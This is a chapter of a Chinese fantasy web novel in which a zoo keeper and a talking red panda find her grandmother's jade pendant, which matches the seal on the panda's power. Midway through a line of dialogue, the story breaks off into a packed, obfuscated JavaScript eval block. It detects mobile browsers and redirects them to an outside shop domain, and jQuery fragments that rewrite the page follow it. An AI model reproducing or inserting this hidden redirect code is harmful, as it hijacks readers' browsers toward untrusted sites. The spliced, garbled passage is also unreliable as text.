直播后的第二天,春儿开完晨会回来,脸拉得比平时长了一截。
她把工作服外套脱下来摔在椅背上,一屁股蹲在秋秋面前,两条胳膊撑着膝盖,活像受了什么天大的委屈。"园长说昨儿直播数据好得不得了,要求每周固定两场,还得提前出'内容策划'。"她学着园长的语气,把"内容策划"四个字咬得格外用力。
秋秋趴在枕头上,连眼皮都没抬。"……你怎么说的。"
"我说秋秋累了,要休息。状态好才能出好内容,逼急了它挠人你负责?"
秋秋这才从枕头上抬起一只眼。"园长怎么说。"
春儿一摊手,嘴角翘了翘:"他同意了。但说至少两周一场,不能再少了。"
秋秋沉默了一会儿,把脸重新埋回枕头里。"……两周一场,行。"
春儿愣了一下:"你答应了?"
"本尊不是不知好歹的人。"秋秋的声音闷在枕头里,但每个字都清楚,"你帮本尊挡了那么多,本尊也该配合一下。"
春儿蹲在那儿看了她好几秒,然后伸手揉了揉她后脑勺的绒毛,力道比往常重了些,像在揉一个突然懂事了的弟弟。"哎哟,懂事了。"
秋秋耳朵尖红了,但没有躲。
吃过午饭,春儿在柜子里翻了一会儿,掏出一把旧钥匙,铜的,拴在一根红绳上,已经发绿了。"我奶奶那套老房子租期到了,房东说要收回去,我得上楼把剩下的东西都搬走。"她蹲下来跟秋秋平视,"你跟我一起去吧,反正你待宿舍也闷。"
秋秋被装进那个帆布挎包的时候已经很配合了,自己主动跳进去蹲好,脑袋从拉链缝里伸出来,等着春儿背上身。春儿拍了拍包面:"走嘞。"
春儿奶奶的老房子在动物园东边三条街外,一个旧居民楼的六楼。楼道很暗,声控灯坏了三层,春儿摸着墙往上爬,一步一顿,喘气声越来越大。秋秋在包里能听见她胸腔里"砰砰"的心跳,越来越快。到六楼的时候春儿撑着膝盖缓了五秒才直起腰,掏出钥匙开门。
门开了,一股陈旧的木头味和晒干的草药味混着涌出来。穆秋秋从包里探头,看见了春儿长大的地方——两室一厅的小房子,白墙有些发黄,墙角贴着一张褪了色的年画,画的是个抱鲤鱼的娃娃。家具是老式实木的,茶几腿用报纸垫了半边,沙发上罩着一块洗得发白的花布。春儿站在门口,没急着进去,目光在屋里慢慢转了一圈,然后她低头笑了笑,小声说了一句:"每次来都觉得老太太还在厨房里熬药。"
她走进去,拉开靠窗那张书桌的抽屉,里面东西塞得乱糟糟的:旧书、泛黄的笔记本、一捆用皮筋扎着的黄纸、几团旧毛线、一个掉了半个盖子的塑料药瓶。春儿蹲下来,把东西一样一样往外拿。
"这些书都是老太太以前看的,什么《黄帝内经》《本草纲目》,她当宝贝一样。"春儿抽出一本书随手翻了翻,又放回箱子里,"我也不知道这些要不要留,先搬回去再说吧。"
穆秋秋蹲在桌面上,目光落在抽屉最里面的位置——那里有一卷扎着皮筋的黄纸,厚度大约两指,纸边已经发脆发褐了。她注意到纸角露出来的半截纹路,朱砂色的,线条弯折,和修真界最基础的护身符几无二致。
她的心沉了一下。
春儿顺着她的目光看过去,把那卷黄纸拿了出来,皮筋一碰就断了,纸张散开,露出里面十几张用朱砂画的符纸。"哦,这个。"春儿把它们拢了拢,看都没细看,"我奶奶以前给人写平安符的,老太太手痒,写着玩的。"她把符纸随便卷了卷塞进箱底,又往抽屉深处摸了摸。
然后她"咦"了一声,从最里面掏出一个巴掌大的旧木盒子。漆面已经磨得看不出原本的颜色,边缘磕了几个豁口,但木料被常年握持磨得发亮。春儿吹了吹上面的灰,把盒盖打开。里面躺着一块圆形玉佩,青灰色的石料,边缘磕了一个小角,用一根褪色的红绳穿着。玉佩表面刻着一圈细密的纹路,但因为年头太久,已经被磨得有些模糊了。
穆秋秋在看到那块玉佩的那一刻,浑身的毛都竖了半寸。
她一眼就认出来了——那块玉佩上的纹路,虽然模糊,但结构和走向、曲线的盘绕方式、每一处转折的夹角,和她丹田里那道金色封印的纹路,如出一辙。一模一样。她绝不会认错,那道封印在她丹田里盘了一辈子了,每一个拐弯她都记得清清楚楚。
春儿完全没注意到秋秋的异常。她把玉佩翻来覆去看了看,"这玩意儿我奶奶以前天天戴着,我问她啥宝贝,她说'不值钱,但保平安'。"她随手把玉佩搁在桌角上,"也不知道值不值得留,带着吧。"然后又埋头掏下一件东西了。
穆秋秋盯着桌上那块玉佩,爪子不自觉地收紧了。她压抑着体内翻涌的惊涛骇浪,把脸转开了。不能在这儿露馅,春儿还在,她还什么都不知道。
春儿去了阳台收旧床单。
穆秋秋听见阳台门关上的声音,立刻从桌面上站起来,四爪无声地挪到桌角,低头看着那块玉佩。她犹豫了一秒,然后伸出右前爪,按在玉佩表面。她把体内残存的那丝灵力引导到爪尖,试探着往玉佩里送了一线。
玉佩亮了。青色的光芒从石头内部透出来,温温的,像月光浸在水里。光持续了大约两秒,慢慢熄灭了。
穆秋秋还没来得及把爪子收回来,阳台门开了。春儿抱着叠好的旧床单走进来,正撞见秋秋蹲在桌角,右爪按着一块刚刚熄灭了的青色玉佩。一人一熊在午后的老屋里面对面愣了整整两秒。
春儿低头看了看那块玉佩,又抬头看了看秋秋。"……那东西咋亮了?"
秋秋把爪子缩了回来,耳朵根以肉眼可见的速度变红。"……本尊也不知道。"
春儿走过来蹲下,把玉佩拿起来翻来覆去看了看,又看了看秋秋。"我刚才看见你爪子底下有光。"她没怕,没跳起来,眉头皱着,像在解一道不会做的数学题。然后她把玉佩递到秋秋面前:"你能让它再亮一下不?"
秋秋看着她。春儿的眼睛很平静,没有恐惧,没有"你到底是什么怪物"的审视。她就是好奇,像小时候看见萤火虫一样的好奇。
秋秋沉默了一会儿,伸出了右爪,重新按上玉佩。她把灵力第二次送进去,比第一次更稳,更流畅。玉佩再次亮起青色的光,比刚才更足、更均匀,持续了大约三秒,映在春儿瞳孔里变成两团柔和的光点。
春儿看着那团光,咽了口唾沫。"……我奶奶的东西。"她慢慢地说,"你碰了它,它就亮了。"
她抬起头,看进秋秋的眼睛里:"你是不是知道点什么?"
秋秋收回爪子,蹲在桌面上,跟春儿平视。"
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934483|213702||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
知道一些。但还不全。"
春儿低头看着手里那块玉佩。她把红绳重新理了理,然后把它收进了自己的口袋里。动作很轻,像放什么易碎的东西。
"行。"她说,"等你全知道了再告诉我。"
她站起来继续收拾东西了,把剩下的旧书一摞一摞码进纸箱里。穆秋秋蹲在桌面上看着她的背影,尾巴卷在身侧,尾巴尖微微抖了一下。
那天晚上回到宿舍,春儿把旧书和杂物的纸箱堆在墙角,那块玉佩她没有收进箱子里,而是随手挂在了床头的挂钩上。青灰色的石面在台灯下泛着温润的暗光,磕掉的那个角像一道小小的缺口,在光里格外显眼。
春儿洗漱完躺上床,翻了个身就睡着了。白天搬东西累的,呼吸很快就变得均匀绵长,被子裹到下巴,手搭在枕边。
穆秋秋没有立刻睡。
她趴在春儿的枕边,闭着眼,内视丹田。当她看清丹田里的景象时,心跳猛地加速了——那道金色封印上的裂缝,比早上出门前又扩了近乎一倍,原本像细麻线一样的裂纹现在已经有小拇指那么宽了,灵气从裂口里渗出的速度明显加快,像原本细水长流的泉眼忽然变成了一股稳定的水流。
她试着运行了一遍经脉里的灵力,顺畅地走完了一个完整的小周天,没有遇到任何滞涩。灵力流过四肢百骸,暖洋洋的,她甚至感觉到右前爪的爪尖在微微发麻——像有什么东西在皮肤底下等着钻出来。
碰了那块玉佩,她的灵力暴涨了一截。秋秋睁开眼,目光落在床头挂钩上那块安静挂着的旧玉佩上。不是因为玉佩本身有灵力——那块石头已经枯了,里面干干净净的,什么能量都没有了。它的作用更像一把钥匙,碰触它就等于触碰了封印的某个源头信号,激活了"解封"的进程。
春儿的奶奶不仅不是普通人,甚至可能就是当初参与设下这道封印的人之一。一个凡人老太太,怎么会接触到修真界最顶尖的封印术?这个答案她暂时拿不到。春儿也什么都不知道。
穆秋秋把前爪收在胸前,下巴搁在爪背上,看着那块玉佩发了很久的呆。
窗外的月亮移过云层,把一缕银白色的光从窗帘缝隙里送进来,刚好照在玉佩磕掉的那一角上,把缺口的轮廓描得分明。秋秋的目光顺着那个缺口往下移,移到春儿搭在枕边的手上。她的指节离那根红绳很近,近到几乎能碰到。
她把脑袋往前挪了挪,把自己的一只爪子搭在了春儿的指节上。温热的,指节微微凸起,皮肤下面跳着平稳的脉搏。
老太太。穆秋秋在心里说。你到底是什么人。你给春儿留下这东西,是单纯忘了带走,还是算准了有一天会有人需要它。你知不知道她身上有灵力。你知不知道她手上的伤口愈合得比别人快。你知不知道她有一天会捡到一只会说话的小熊猫。
她把眼睛闭上了。
不管怎样,她现在多了一件事要做。查清楚春儿的奶奶是谁,以及那块玉佩上的纹路,到底和封印她的那个人有什么关系。
爪子底下的脉搏还在跳。一下,一下,和她的心跳渐渐叠成了一个节奏。夜很安静,月光照着一人一熊和挂在两者之间的旧玉佩。谁也不知道答案。但答案迟早会浮出来。
秋秋在睡着之前,把爪子又往春儿的手指里送了半寸。暖和。
(第六章完)